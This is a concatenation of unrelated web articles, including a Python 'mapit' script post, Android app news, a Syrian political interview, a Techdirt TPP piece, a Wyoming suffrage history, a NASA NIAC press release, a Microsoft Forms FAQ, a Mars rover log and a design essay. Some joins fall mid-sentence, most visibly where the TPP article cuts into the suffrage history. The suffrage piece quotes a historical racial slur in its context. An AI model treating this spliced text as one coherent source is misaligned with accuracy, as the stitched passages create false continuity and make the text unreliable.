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Information from: The Times Argus, http://www.timesargus.com/I was tired of copying an address, then opening a new tab and then going to http://maps.google.com and then pasting the address, and hitting return.
So I’ve written a program that will automatically open a new browser window pointed to Google Maps at whatever text is in the clipboard. Now I just copy the address, hit Win+R to bring up the Windows “Run” dialog, and then type “mapit”. Instant map.
You can also type “mapit <type address here>” to run it from the command line.
Download the Windows Executable (6.2 MB, big since it’s a compiled Python script)
The Python script should work with Python 2 and 3, and on Windows, Mac, Linux (but I haven’t tested it on Mac & Linux yet).
Here’s the code on github: https://github.com/asweigart/mapitpyThey've done it with the camera. They've done it with Touchless Control and Migrate. They've even done it with the FM Radio from the brand new Moto G. Now Motorola is moving even more of its proprietary phone apps into Google Play Land, presumably to allow for more frequent and reliable updates. Today Motorola Assist and Motorola Connect, both exclusive to the Moto X and Verizon's new Motorola DROID phones, are available on the Play Store.
Motorola Assist is a pretty basic automation app that will change a few settings based on time or location. In driving mode it can automatically start a music app and read out text messages or incoming callers. It's also got a sleep and "do not disturb" function, which will silence calls and texts during regular sleeping hours or for a pre-set amount of time for a meeting or movie. The app can also auto-reply with a canned response.
Motorola Connect is more interesting, at least if you've got a new Moto phone and you spend most of your day on a computer. The app connects with this Chrome extension to alert you to new calls or text messages on your PC (like Google Hangouts will do if you use a Google Voice number). You can even reply to text messages using your own number.
There don't appear to be any significant changes to the apps themselves, so Moto X and DROID owners are unlikely to see any new features for the time being. You don't need to re-download the apps; they should already appear on your My Apps list in the Google Play Store.
Source: Eve Bills Google+, Mark Rose Google+Crafting the perfect home screen can take a lot of work, but if there's one Android feature we think everyone should try out, it's swipe actions. With the swipe of your finger, you can add an extra shortcut to every icon on your home screen, doubling the number of things you can do.
This isn't a feature of stock Android, but you can get it in nearly every launcher out there (I'm using Nova Launcher Prime myself—yes, it's a feature only available in the paid "Prime" version). It isn't a new feature, either, but it is one that a lot of people forget about, so we've decided to take a closer look into its awesomeness.
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The basic idea: Every icon on your home screen has an action associated with it when you tap it. Tapping the Chrome icon opens up Chrome, and tapping the Contacts icon brings up your contact list. Swipe actions let you give those icons a second action, that you access by swiping up on the icon. For example, I've set up the following shortcuts:
Swiping up on Chrome opens Chrome and goes directly to Lifehacker, my most frequently visited site
Swiping up on the Contacts icon directly calls my girlfriend, my most frequently called contact
Swiping up on the Maps icon immediately navigates me home, so I don't have to type in the address every time
Swiping up on the Google Voice icon toggles whether I use Google Voice to make calls
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You see the pattern.
How to Set It Up: To assign a swipe gesture in Nova launcher, just tap and hold on the icon in question, and choose Edit. Under Swipe Action, you can pick from a launcher-based action, launch another app, or choose from one of Android's many shortcuts (direct call or message a contact, navigate you to a location, open a Gmail label, and so on). Assign these to the icons on your home screen and you have double the shortcuts, without having taken up any more space. Check out the video above to see it in action.If there’s one thing humans are good at, it’s drinking alcohol.
After all, our relationship with the sweet nectar of Satan traces back to roughly 10 million years ago, when our ancient, primate ancestors first evolved the ability to metabolize alcohol.
Then, around 9,000 years ago, a beautiful thing happened: Humans figured out how to brew beer. Still, in spite of our long history with alcohol, it’s demonized—and even banned in some countries. Certainly, we humans have a rather “complicated” relationship with booze.
It’s time we embrace our past with alcohol and celebrate being drunk! In an Ask Reddit thread, Reddit user AHurriedDog asks “What thing are you better at when you’re drunk?” Here’s how the community responded:
Cooking
Love?
Languages
Creativity
Being a better listener
Socializing
Bowling
…and pool, too:
Spending Money
Sleeping
….Life?
Check out the entire thread here.Nearly 30 per cent of Brits say they've used a dating app despite being in a relationship, while more than half of those surveyed would dump their partner if they caught them seeking love online.
Law firm Slater and Gordon carried out the research on 2100 respondents in the UK after noticing a spike in the rate of dating apps usage being cited in divorce proceedings.
"Although a large number of people have admitted to using dating apps while in a relationship it's apparent it is not something we are all willing to accept as part and parcel of the modern-day dating life," Divorce lawyer Niamh McCarthy said.
"Previously these apps wouldn't have been involved in relationships but within the last two to three years we have seen a steady rise in them being referred to in divorce proceedings."
Of those surveyed some 30 per cent admitted using a dating app while in a relationship, with almost half of men (46 per cent) and just over one in five (21 per cent) women owned up to looking for romance behind their partner's back.
Among men, the top reasons for straying onto dating apps were boredom (10 per cent), a dwindling sex life (nine per cent) and lots of arguments (seven per cent).
Women said they used the tools because they were bored (four per cent, embroiled in arguments (four per cent) or were lacking attention (three per cent).
One in five of those surveyed said they "wouldn't mind" if their partner used a dating app, but half said they would expect their boyfriend or girlfriend to quit using the apps as soon as they became official.
Over half (53 per cent) of all those surveyed said they had been cheated on in the past, with 31 per cent finding out after discovering secret messages, a quarter learning of the betrayal from a friend, and one in five catching their cheating partner in the act.Syrian Democratic Council (MSD) Co-chair Ehmed spoke to the ANF on the second congress they held recently, Turkey’s invasion of al-Bab and Syrian territory and the international community’s silence on this invasion.
Remarking that they are the true opposition in Syria, Ehmed stressed that Turkey “bought” Bab by making a deal with ISIS and that forces were trying to convince the Regime for fragmentation. She said they won’t allow fragmentation, and added that attacks by the Turkish state and the gangs increased migration.
“WE WILL EXPAND”
Ehmed remarked that important decisions were made in the second congress, Stating that they defined a goal of expanding to all of Syria, but they had the priority to first open representation offices and centers in liberated areas. She said important individuals and groups joined them between the first and the second congress, and continued:
“Although the council efforts were narrow in the process between the two congresses, important individuals from the Syrian opposition, whose names I won’t cite for security reasons, and institutions and groups have joined us. This means an expansion in the region. We have made a decision to improve our organization throughout Syria and to expand. The planning for this has been done. In the near future we will work on this. For that, both the political committee and the presidential committee have been expanded.”
“THERE IS A HYPOCRISY”
Ehmed stressed that they held both their congresses in Syrian territory where they want to develop a solution, and continued:
“Which one of the supposed Syrian opposition has held one meeting of theirs in Syria up to now? We are the political umbrella organization of the SDF. Our presence is accepted by the international powers as well. Relationships and talks develop over this. This is how we are received in meetings and relations. But we haven’t been included in so-called solution conferences and talks like Geneva. We think there is a hypocrisy there. It may be because of military and political pressure by some forces like Turkey, there may be some calculations there. Because of this, occasionally approaches like ‘not now but in the future’ emerge. We consider these diversion tactics. It seems that this situation will become clearer in the coming period. Because we are at the end of everything.”
“TURKEY IS MAKING THE INVASION OFFICIAL”
Ehmed also touched upon Turkey’s invasion on the first day of the Geneva conference and said that a new handover mise-en-scene is being enacted. Ehmed commented on Turkey’s de facto invasion from Jarablus to Bab: “What happened in Bab is quite tragic. Calculations and negotiations by the regional powers over Syrian lands is not in the interest of the Syrian country or the peoples. This brings forth new conflicts. The peoples of Syria are the ones suffering the most damage from these negotiations and calculations.”
“TURKEY BOUGHT AL-BAB”
Ehmed stressed that the reason al-Bab was let go in a handover ceremony between Turkey and ISIS on the first day of the Geneva conference was to strengthen the groups allied with Turkey and continued:
“Invading al-Bab on the very day the Geneva conference started aims to strengthen the SNC and their armed groups. More accurately, it is done to strengthen the armed groups allied with Turkey in Geneva.
Al-Bab was bought by Turkey. It was sold in a negotiation between ISIS and Turkey. Turkey bought it. And this is dealt with like a victory and a success.
ISIS didn’t leave al-Bab. They changed their name. Just like in Jarablus, this is another deception. Footage from Jarablus shows without a doubt that those people are ISIS. What has changed is the flags and the name. The people are the same. The mindset is the same. Practices are the same. There have been countless marches and insurgencies against these practices and mindset in Jarablus. The people are not accepting the practices of ISIS-in-disguise.
Al-Bab was evacuated and torn to the ground. They are conducting negotiations over a city turned to ruin.”
“TURKISH OUTPOSTS LEGITIMIZE THE INVASION”
Ehmed also spoke on the outposts Turkey started building in Jarablus, Rai, Azaz and Shehba after the invasion, and said they wanted to fragment Syria through these. Ehmed pointed out that the construction of the outposts continued in plain sight of all, and continued:
“With the invasion, Turkey started to build outposts. These outposts and the invasion are a danger for Syria as a whole. These outposts are built while the Regime and Iran watch, with the approval of Russia. These outposts are being built with some forces approving this military situation. With this, the Syrian crisis deepens. Also, this is a move to legitimize the invasion. Now some forces consider Turkey as violating Syrian territory without permission. Like they entered Iraq unofficially, now they want to create the same situation in Syria. They are building outposts. They are building military headquarters and stockpiling forces. They are trying to make everybody accept the invasion they are trying to legitimize. They mean to say, ‘We are here and we are not leaving’. These steps taken by Turkey are a great danger for Syria. Not just for Efrîn and Shehba. There needs to be a stance against this from Syria in general. We are working on bringing this stance out.”
“THEY ARE TRYING TO MAKE THE REGIME ACCEPT THE FRAGMENTATION OF SYRIA”
Ehmed also pointed out that with the outposts, the Regime is pressured and demanded to submit to the fragmentation of Syria, and continued: “In short, they want to divvy up Syria. What the regime has now will stay with the regime. The areas Turkey invaded will stay with Turkey. This policy of allocation will pave the way for the fragmentation of Syria. These people are trying to push Syria to fragmentation. That is not an acceptable situation. We as the Syrian Democratic Council will stand against this. We will try to raise awareness on this danger and we will try to organize them. We will strive to keep the unity of Syria. We are fighting and we will fight for a democratic Syria, not a fragmented Syria with each country claiming a part of it. If the Regime is involved in these negotiations, that is not right, and we don’t accept that. If Russia is involved, it’s not right and we don’t accept that. If the US and Turkey are involved, that is not right and we don’t accept that.”
“ATTACKS BY THE TURKISH STATE INCREASED MIGRATION”
Ehmed stressed that with al-Bab, the migration issue increased, and that hundreds of thousands of people crossed over to Efrîn and Manbij. She said the UN approached the migration issue hypocritically, and continued:
“The issue of the migrants is always on our agenda. The UN insists on considering our region as not a migrant zone. But it is our region that millions of people see as safe and seek refuge in our region, from Daraa to Latakia, from Idlib to Damascus, from Aleppo to al-Bab. Meanwhile, tens of thousands of Êzidîs have sought refuge in our region after the genocide, but the UN is still ignoring them. Most recently, after the Turkish state and their gangs attacked al-Bab, hundreds of thousands of people took refuge in Efrîn and Manbij from al-Bab and surrounding villages, Jarablus, Rai and Azaz.
No aid has been provided for these migrants as of now. Of course this is a conscious thing. One can even consider it a plan. The plan is to try the people who seek refuge from this war in our regions with hunger. They flee the war and come to the safe area. When they come to our region, they are starved and forced to migrate to Turkey.”US, Australia & Canada Decide Screw Over Poor Nations Because Big Pharma's Not Happy With TPP
from the isn't-that-nice dept
On Friday, 9 October 2015, Ambassador Punke met with representatives from 15 countries (including 5 Ambassadors) from the LDC Group. Ambassador Punke clearly indicated that the US could not agree on an indefinite exemption because certain stakeholders in the United States were quite upset with concessions made by USTR during the final stages of the Trans-Pacific Partnership (TPP). Informed sources noted that the US indicated that "the TPP did not deliver as expected on IP and so we are under a lot of pressure not to give in more on IP."
With the conclusion of the negotiations for the Trans Pacific Partnership (TPP) agreement now in place, there has been some ridiculous whining from the pharmaceutical industry which goteverything it wanted in the agreement, but wasn't quite able to get a few things, including a 12 year patent-like exclusivity on biologics. And, because of that hissy fit, apparently, the USTR and its counterparts in Australia and Canada have agreed to help out Big Pharma in another arena. Jamie Love is reporting that this week there's a meeting at the WTO this week to explore granting a special exemption on patent |
ex-slaves, but given a chance to extend the vote to women he wouldn’t be able to bring himself to do it. The idea was too new, too different. The Democrats enjoyed the possibility of embarrassing him.
A racial argument
Fourth, many of the legislators believed strongly that if blacks and Chinese were to have the vote, then women—especially white women—should have it, too. The following spring, a Cheyenne newspaper reported this as “the clincher” argument. “Damn it,” an unnamed legislator supposedly said, “if you are going to let the niggers and the pigtails [the Chinese] vote, we will ring in the women, too.”
William Bright, uneducated saloon-keeper, stalwart Democrat, ex-Virginian, Union Army veteran, president of the Council and the man who had introduced the bill to give women the vote, was one of the main backers of this argument. Some stories attribute it to his young wife, Julia Bright.
Stories also circulated in later years that the whole thing had been a joke, that the lawmakers were mostly kidding and the entire idea went further than anyone had expected. That may be partly, or slightly true, but it goes against the fact that they spent a great deal of time debating the issue—hardly something the legislators would have done if they hadn’t taken it seriously.
And finally, some lawmakers wanted to give the vote to women simply because it was the right thing to do. Bright was among this number, as well.
The bill’s bumpy ride
The bill passed the Council, where Bright had first introduced it, six votes to two. In the House, lawmakers tried and failed to attach various amendments. Some of these were attempts to make the bill so unattractive to the other legislators that it would fail. One such amendment, which did fail, would have extended the vote to “all colored women and squaws.”
The House did pass an amendment to raise the voting age for women from 18 to 21. The House then passed the woman suffrage bill seven votes to four, with one abstention. Governor Campbell took several days deciding what to do. He finally signed the bill into law Dec. 10, 1869.
Esther Morris, first woman officeholder
Later that month, back in South Pass City, Bright welcomed a couple of visitors into his home. These were John Morris and his wife, Esther Hobart Morris. John Morris later wrote a letter about the visit to The Revolution, a national magazine that championed women’s rights. Bright was glad to see the Morrises, John Morris wrote, as they had come to congratulate him and were among a very few people in South Pass City who approved votes for women.
Early in 1870, Esther Morris was appointed justice of the peace, a kind of judge, becoming the first woman ever to hold a public office. In 1870 and 1871, and other women served on juries in Laramie. In September 1870, women throughout the Territory finally got the chance to vote in Wyoming’s second election.
As many as 1,000 women appear to have gone to the polls. To the disgust of the Democrats who had given them the vote, a great many voted Republican. A Republican was elected territorial representative to Congress. And the following year, 1871, a few Republicans were elected to the legislature.
A repeal attempt
The new legislature decided votes for women weren’t such a good idea after all, however, and passed a bill to repeal the 1869 law. To his credit, Gov. Campbell vetoed the repeal. The House came up with the two-thirds vote necessary to override his veto, but the Council fell one vote short. That left the new law standing, and it was never challenged again. All women in the United States did not win the right to vote for nearly 50 more years.
Aftermath
Meanwhile, Bright’s saloon business went bankrupt, and he and his family moved to Denver. Many years later, in 1902, he was noticed in the audience at a national convention on women’s rights. Asked to speak about what had happened in Wyoming, he stood up and said the bill was not introduced “in fun.” He added that he supported the idea because he believed “his wife was as good as any man and better than convicts and idiots,” the Women’s Tribune reported. If he mentioned black people at this point, or used a more derogatory term, the paper did not repeat it.
Perhaps the whole story of Wyoming’s choice to give women the vote shows that the right thing sometimes happens for a large, strange mix of reasons, most of them wrong. Or as John Morris wrote to The Revolution after his and Esther’s visit to William Bright, “It is a fact that all great reforms take place, not where they are most needed, but in places where opposition is weakest; and then they spread …. ”
Resources
Primary Sources
Cheyenne Leader, 1867-1869, accessed Sept. 27, 2013, via Wyoming Newspaper project at http://wyonewspapers.org/. The article mentioning “niggers and pigtails” was published April 28, 1870, and cited in Fleming, listed below.
Secondary Sources
Ewig, Rick. “Did She Do That?: Examining Esther Morris’ Role in the Passage of the Suffrage Act.” Annals of Wyoming 78, no. 1 (winter 2006): 28-34. The story that Esther Hobart Morris gave a tea party in South Pass City before the 1869 election to extract a promise from Bright and his Republican opponent, Herman Nickerson, that whichever was elected would introduce a woman suffrage bill, was invented by Nickerson in 1919. Ewig examines the story’s roots and its remarkable staying power.
Fleming, Sidney Howell. “Solving the Jigsaw Puzzle: One Suffrage Story at a Time.” Annals of Wyoming 62, no. 1 (spring, 1990): 22-65. Accessed Sept. 27, 2013, at http://archive.org/details/annalsofwyom621231990wyom. This article is particularly good at placing events in Wyoming in the context of larger movements for women’s rights in the 19th and early 20th centuries.
Larson, T.A., History of Wyoming. Lincoln, Neb.: University of Nebraska Press, 1965, 79-94. Larson’s scholarship on the coming of woman suffrage to Wyoming is some of his best work, especially his modest debunking of the Esther Hobart Morris myth.
_________. “Petticoats at the Polls: Woman Suffrage in Territorial Wyoming.” Pacific Northwest Quarterly 44, no. 2: 74-79.
Massie, Michael A. “Reform is Where You Find It: The Roots of Woman Suffrage in Wyoming.” Annals of Wyoming 62, no. 1 (spring 1990), 2-22. Accessed Sept. 27, 2013, at http://archive.org/details/annalsofwyom621231990wyom. This may be the best single article about woman suffrage in Wyoming. It contains especially good information about William Bright, South Pass City, the roots of the Esther Morris tea-party story and the personalities and politics leading to the bill’s passage.
Simon, John Y. “Ulysses S. Grant.” Accessed Sept. 27, 2013, at http://www.presidentprofiles.com/Grant-Eisenhower/Grant-Ulysses-S.html. For more detail on what was going on nationally at the time the Wyoming Territorial Legislature voted for woman suffrage, see the sections on the election of 1868 and Reconstruction in this readable profile of Ulysses S. Grant.
For further reading and resreach
Anderson, Jessica. " Overlooked No More: She Followed a Trail to Wyoming. Then She Blazed One." New York Times. Accessed May 26, 2018 at https://www.nytimes.com/2018/05/23/obituaries/overlooked-esther-morris.h.... A biographical sketch of Esther Hobart Morris.
IllustrationsNASA Invests in Next Stage of Visionary Technology Development
Press Release From: NASA Institute for Advanced Concepts
Posted: Friday, May 13, 2016
NASA has selected eight technology proposals for investment that have the potential to transform future aerospace missions, introduce new capabilities, and significantly improve current approaches to building and operating aerospace systems.
Awards under Phase II of the NASA Innovative Advanced Concepts (NIAC) Program can be worth as much as $500,000 for a two-year study, and allow proposers to further develop concepts funded by NASA for Phase I studies that successfully demonstrated initial feasibility and benefit.
“The NIAC program is one of the ways NASA engages the U.S. scientific and engineering communities, including agency civil servants, by challenging them to come up with some of the most visionary aerospace concepts,” said Steve Jurczyk, associate administrator of NASA’s Space Technology Mission Directorate in Washington. “This year’s Phase II fellows have clearly met this challenge.”
Phase II studies allow awardees to refine their designs and explore aspects of implementing the new technology. This year’s Phase II portfolio addresses a range of leading-edge concepts, including: an interplanetary habitat configured to induce deep sleep for astronauts on long-duration missions; a highly efficient dual aircraft platform that may be able to stay aloft for weeks or even months at a time; and a method to produce “solar white” coatings for scattering sunlight and cooling fuel tanks in space down to 300 °F below zero, with no energy input needed.
The selected concepts are:
Advancing Torpor Inducing Transfer Habitats for Human Stasis to Mars, John Bradford, Space Works, Inc. in Atlanta
Cryogenic Selective Surfaces, Robert Youngquist, Kennedy Space Center in Florida
Directed Energy Interstellar Study, Philip Lubin, University of California, Santa Barbara
Experimental Demonstration and System Analysis for Plasmonic Force Propulsion, Joshua Rovey, University of Missouri in Rolla
Flight Demonstration of Novel Atmospheric Satellite Concept, William Engblom, Embry-Riddle Aeronautical University in Daytona Beach, Florida
Further Development of Aperture: A Precise Extremely Large Reflective Telescope Using Re-configurable Elements, Melville Ulmer, Northwestern University in Evanston, Illinois
Magnetoshell Aerocapture for Manned Missions and Planetary Deep Space Orbiters, David Kirtley, MSNW, LLC in Redmond, Washington
Tensegrity Approaches to In-Space Construction of a 1g Growable Habitat, Robert Skelton, Texas Engineering Experiment Station in La Jolla, California
NASA selected these projects through a peer-review process that evaluated innovativeness and technical viability.
“Phase II decisions are always challenging, but we were especially challenged this year with so many successful Phase I studies applying to move forward with their cutting-edge technologies,” said Jason Derleth, the NIAC program executive at NASA Headquarters in Washington. “Whether it's tensegrity habitats in space, new ways to get humans to Mars, delicate photonic propulsion, or any one of the other amazing Phase II studies NIAC is funding, I'm thrilled to welcome these innovations and their innovators back to the program. Hopefully, they will all go on to do what NIAC does best - change the possible.”
All projects are still in the early stages of development, most requiring 10 or more years of concept maturation and technology development before use on a NASA mission.
NIAC is funded by NASA’s Space Technology Mission Directorate, which innovates, develops, tests, and flies hardware for use in NASA’s future missions. Through programs such as NIAC, the directorate is demonstrating that early investment and partnership with scientists, engineers and citizen inventors from across the nation can provide technological dividends and help maintain America's leadership in the new global technology economy.
For a complete list of the selected proposals, and more information about NIAC, visit:
http://www.nasa.gov/feature/niac-2016-phase-i-and-phase-ii-selections
For more information about NASA’s Space Technology Mission Directorate, visit:
http://www.nasa.gov/spacetech
// end //
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Please enable JavaScript to view the comments powered by Disqus.New Delhi: By signing a multilateral treaty on Wednesday in Paris, India has, in one sweep, sought to make its double tax avoidance agreements (DTAAs) with 93 nations, including the ones with countries like Cyprus, Mauritius and Singapore, foolproof in terms of preventing aggressive tax avoidance by multinational corporations (MNCs).
The multilateral instrument signed at a meeting of the Organisation of Economic Cooperation and Development (OECD) seeks to prevent the corporate practice of making profits artificially disappear from the market where economic activity takes place in jurisdictions with low or no tax.
The treaty will come into force early 2018, according to an OECD statement issued in Paris.
A finance ministry statement issued late on Wednesday night said the deal signed by finance minister Arun Jaitley reaffirmed New Delhi’s commitment to cooperate in global efforts to tackle aggressive tax planning. Sixty seven other nations signed the deal on Wednesday and many others have expressed their intention to sign.
Wednesday’s deal will result in automatic modification of about 1,100 tax treaties worldwide. Preventing the generation and laundering of unaccounted wealth has been a priority for the National Democratic Alliance (NDA) administration.
India’s DTAAs with countries like Cyprus, Mauritius and Singapore, originally meant to prevent double taxation of the same income in two countries, are long known to be exploited by some investors for non-taxation of the same income in neither of the countries. India eventually amended the treaties with these nations to install safeguards to prevent “double non-taxation".
The treaty with Singapore was amended with effect from February 2017 and the one with Mauritius was amended with effect from July 2016. The treaty with Cyprus was modified with effect from December 2016.
While these amendments address some of the gaps, the multilateral instrument is more comprehensive and covers issues such as characterization of financial instruments that are treated differently in different nations and definition of the taxable presence of an MNC in a country, referred to as “permanent establishment".
India, however, did not accept a provision for binding arbitration in tax disputes, which has been accepted by 25 nations. New Delhi is of the view that taxation is a sovereign right of the government not subject to international arbitration.
OECD stated “conservatively" that the magnitude of tax base erosion for nations from the artificial shifting of profits by businesses to low tax jurisdictions is of the order of $100-240 billion a year, or the equivalent of 4-10% of global corporate income tax revenues.
“The signing of this multilateral convention marks a turning point in tax treaty history," an OECD statement said, quoting OECD secretary-general Angel Gurría.
India has been closely involved in preparing the multilateral treaty text and has already adopted some of the action plans under the Base Erosion and Profit Shifting (BEPS) project, including provisions for taxation of the digital economy and country-by-country reporting (CBCR) of transactions by MNCs.
The CBCR framework enables national tax authorities to determine whether the taxable income reported by a unit of an MNC in a particular country actually corresponds to the economic activity and value creation in that market.Today, we are pleased to announce the availability of Microsoft Forms for our Office 365 Education customers. Forms is the result of direct feedback from educators that they want to have a quizzing function with Office 365 Education. Educators told us they need an easy way to assess student progress on an ongoing basis. They also told us they want an assessment solution that will save them time, help differentiate instruction for all students and provide quiz takers with real-time personalized feedback.
We designed Forms to be super easy so that anyone could confidently create a form and easily see results as they come in. Forms lets anyone with an Office 365 Education account create and/or respond to quizzes. What makes Forms unique and so valuable for educators is the automatic grading and in-quiz feedback functionality. Automatic grading does exactly what the name implies and greatly reduces the time spent grading. In-quiz feedback is a feature that lets quiz authors personalize messages depending how a student answers a question. For example, if a student answers a question incorrectly they may get a message, such as: “The answer is incorrect. I suggest you review chapter four as this will be on the final.”
How Forms works
When an instructor wants to assess how well the students understand a given topic, they can quickly author a quiz directly from their desktop or mobile web browser. The instructor simply determines the questions they would like to ask and then chooses an answer type, such as multiple choice, text or a rating. The Forms authors can then send a link or QR code to quiz takers or embed the quiz into a web page, blog or Learning Management System (LMS), and recipients can complete the quiz on phones, tablets or PCs. And with the real-time feedback in Forms, the instructor can very quickly see where the class may need additional instruction or could advance more rapidly. Forms responses can also be exported to Microsoft Excel for richer analyses.
Forms is a great quizzing platform because quiz question types are unique. Quiz authors can also indicate the correct answer(s) while authoring quiz questions and they can enter feedback for each answer.
Quizzes aren’t the only scenario where Forms can be used. Because it is so flexible and easy to customize, Forms can be used to create surveys, requisitions, assessments and so much more. For example, a school teacher may want to get feedback from a student’s parents on their child’s study habits.
Forms is available to Office 365 Education customers today. If you are an existing Office 365 for Education customer, you can locate the tile for Forms in My Apps on the Office 365 App Launcher. New customers will see the Forms tile appear directly within the App Launcher and need not take any additional actions to use Forms right away. Anyone with an Office 365 school ID can go to forms.office.com today to create their first form and provide feedback on Forms.
Frequently asked questions
Q. Will Forms be available in all markets and languages?
A. Yes, Forms will be available in all of the Office 365 Education customer markets and languages.
Q. When will Forms be available to customers outside of Office 365 Education?
A. We are exploring possibilities but do not have any details to share at this time.
Q. My school already has Office 365; does that mean we’re getting Forms?
A. That depends. Forms is only available to those schools that subscribe to Office 365 Education or Office Education E5. In some instances, schools opt for another Office 365 subscription type that does not offer Forms at this time.
Q. Can I embed Forms into a web page?
A. Yes. Forms can be easily embedded into web pages via the embed code provided in the Send tab in the upper-right hand corner of the Forms page.
Q. How do I get started with and learn more about Forms?
A. Create a form or quiz with questions, define settings, share your form and check the results—in a few easy steps:
Also see Copy a form and Delete a form for more information.
Q. Is there a Forms mobile app?
A: No. Forms are available through desktop and mobile browsers, and users can both create and complete forms within the browser. This ensures that the widest number of people can reply to your Form without having to download and use a separate app.
Q: Who can reply to the Forms I create?
A: Anyone can reply to forms, including those within your school as well as external users. When you create a form, you can choose to either limit its availability to within your school (i.e., all those with your school ID) or you can choose to allow anyone with a link (no sign-in required) to access it. External uses might be things like collecting homework habit surveys from parents.
Q. What are the browser requirements for Forms?
A: Forms is optimized for Internet Explorer 10+, Edge, Firefox (latest version), Chrome (latest version) and for Android (latest version) and iOS (latest version) web browsers.
Q. Is Forms HIPAA and BAA compliant?
A. Yes, data in Forms follows the standard Office 365 Compliance Framework and belongs to Compliance Category C as outlined in the framework.
Q. Are FERPA and BAA protections in place?
A. Yes, Forms meets FERPA and BAA protection standards.
Q. Where (geographically) is the data stored?
A. Forms data is stored on servers located in the United States.
Q. Can Forms be disabled?
A. Yes. Administrators can turn off Forms by visiting the User Management tab in your school’s Office 365 Admin Center and then follow these easy steps:Sols 1256-1261: Driving Around the Dune
19 February 2016
Apologies for the lateness of this week’s update: The rover is fine, gradually working its way around the north end of a large dune. I’m just an absent-minded blogger with too many other things going on!
We started this week on Tuesday with the Sol 1256 plan. This included some long distance ChemCam RMi images of a location on Mt. Sharp that I have been advocating for, plus some small Mastcam mosaics of targets “Chuos”, “Guinas”, “Aroab”, and the rover deck. This was followed by a ~30 m drive and post-drive imaging.
The 1257 plan was more challenging than we would have liked because we didn’t get the data expected from Sol 1256 due to an issue with the Deep Space Network (the data isn’t lost, just delayed). With most of our data missing, Sol 1257 ended up being mostly untargeted observations. ChemCam did an RMI calibration target observation, followed by a long-distance RMI mosaic of the Peace Vallis alluvial fan. Navcam had an atmospheric observation to look for clouds and measure wind direction right above us. After that, the rover did a “turn for comms” where we turn in place to improve our ability to uplink and downlink data, followed by some post “drive” imaging.
On Sol 1258 we had a bunch more untargeted observations. Navcam had several atmospheric observations, watching for clouds over Mt. Sharp and straight above the rover, plus watching for dust devils. ChemCam had a passive sky observation to measure the atmospheric composition, and Mastcam had an observation of the crater rim to measure the dust in the atmosphere and a tau measurement of the sun for a similar purpose.
In the second science block on Sol 1258, ChemCam repeated the passive sky observation, and Mastcam repeated the observation of the crater rim and the sun. These Mastcam observations were repeated one more time later in the day to see whether the amount of dust changes with time of day.
For today’s weekend plan, there was some uncertainty about whether the rover would be level enough to allow for contact science, but we were happy to find out that it is! We start out on Sol 1259 with ChemCam observations of the targets “Gross Aub”, “Groot Aub”, “Gorob”, and “Grosskopf”, with Mastcam images to document. Navcam also has an atmospheric observation. Then later in the day we will brush the dust off of the target “Gorob”, with MAHLI images before and after. MAHLI will also take some images of “Groot Aub”. APXS will then measure the composition of “Groot Aub” and then do an overnight measurement of “Gorob”. On Sol 1260 we will drive a few meters, then take some pictures of the wheels with MAHLI, and then continue driving for another hour or so, followed by post-drive imaging. Finally, on Sol 1261, ChemCam will do some calibration target observations, and Navcam has a few more atmospheric observations.
by Ryan Anderson
-Ryan is a planetary scientist at the USGS Astrogeology Science Center and a member of the ChemCam team on MSL.
Dates of planned rover activities described in these reports are subject to change due to a variety of factors related to the Martian environment, communication relays and rover status.Below is a quick summary of changes in the SVN since the last post.
There is also a mini-sneak peek of things to come!
Recent changes
Language changes
Arrays can now be concatenated with the ‘+’ operator (same as XE7), note that it is supported for static arrays too, but a concatenation of static arrays results in a dynamic array.
The ‘+=’ operator is now supported by dynamic arrays as syntax sugar for the Add() pseudo-method, so you can use it to concatenate either another array or an element.
“library” is supported as an alternative to “program” for the main program, the script engine exposes it but currently gives it no particular meaning.
Changes relative to SmartMS (for next version)
introduced support for anonymous classes
improved the JS codegen to minimize dependencies to TObject when only JObject or external classes are used
initial support for scripting the JS codegen (see sneak peek)
Fixes
Fixed a scoping issue for helpers across units (which in some circumstances were no longer helpful)
Fixed edge case issues with overloaded methods & visibility
Fixed an edge case issue with accessing a dynamic array element directly from a function returning a dynamic array
Fixed suggestions which were failing in some case
Internal changes
script interfaces & dynamic arrays are now handled internally distinctly from scrip instances, previously they were using a common (Delphi-side) interface
Sneak peek
Well, sneak peeks new bits actually 🙂
You may remember that the SmartMobileStudio command-line compiler was released for free sometime ago, in the next DWS WebServer the JavaScript CodeGen will be available as well (in pre-compiled form), allowing to use Pascal both server and client-side auto-magically!
The other tidbit is that the JS CodeGen is now becoming scriptable! this means that what the CodeGen generates can be customized by scripts, so you can perform case-specific code generation.
The first use case for this is going to be server-side compilation of static Mustache or Handlebars semantic templates. This allows to write and maintain regular templates, and have them them compiled to straight JS when they’re static, with no parsing of the template on the client-side.We all know that design by committee leads to horrendous design and yet committees happen anyway. In this post I ask why, layout the argument against them and look at ways to overcome the problem.
“Wow that looks great, let me just show it to a few colleagues before I sign it off.”
At first glance the above statement looks positive. However if you have worked on websites for any length of time you know it is the kiss of death.
Even if there is no formal committee, any web designer and most website owners will tell you that once a design is ‘shown around’ only bad things can happen.
olly, Shutterstock
The problem is two fold.
First, design is subjective, what one person thinks is amazing another hates. Unfortunately website owners often feel they need to please everybody.
However, once design becomes a group decision you inevitably end up with a bland design that nobody hates but nobody likes either. It is not so much design by committee as design by compromise.
Second, stakeholders rarely have all the facts to make an informed design decision. They don’t know the projects history or understand the target audience, business objectives and success criteria. Even if they do have these insights they rarely have an understanding of why the designer took the approach she did. Nine times out of ten the person is simply shown the design and asked “what do you think?”
With design by committee so flawed and the results so substandard why does it still happen?
Why design by committee exists
Although to those of us who have experienced design by committee the drawbacks seem obviously, to a first timer it can appear necessary and even appealing.
Some of the common reasons for design by committee include…
The website owner is not the decision maker – Instead he is a project manager who has to get approval from higher in the organisation. This is a particular problem on larger websites.
– Instead he is a project manager who has to get approval from higher in the organisation. This is a particular problem on larger websites. The website owner feels out of his depth – Many website owners have never run a website or made decisions about design. They therefore feel the need to get the advice and opinions of others to reassure themselves about their decision.
– Many website owners have never run a website or made decisions about design. They therefore feel the need to get the advice and opinions of others to reassure themselves about their decision. Because design is subjective – The very reason designers argue against design by committee is also a reason for it. If design is subjective how can the website owner be expected to make a design decision alone? Surely they need to consult others to get a wider opinion than their own personal tastes?
– The very reason designers argue against design by committee is also a reason for it. If design is subjective how can the website owner be expected to make a design decision alone? Surely they need to consult others to get a wider opinion than their own personal tastes? It shares the responsibility – In many organisations there is a culture of blame and ‘arse covering’. This inevitably leads to website owners being reluctant to make decisions alone. They know that if they consult widely then it is harder for them to be blamed when things go wrong.
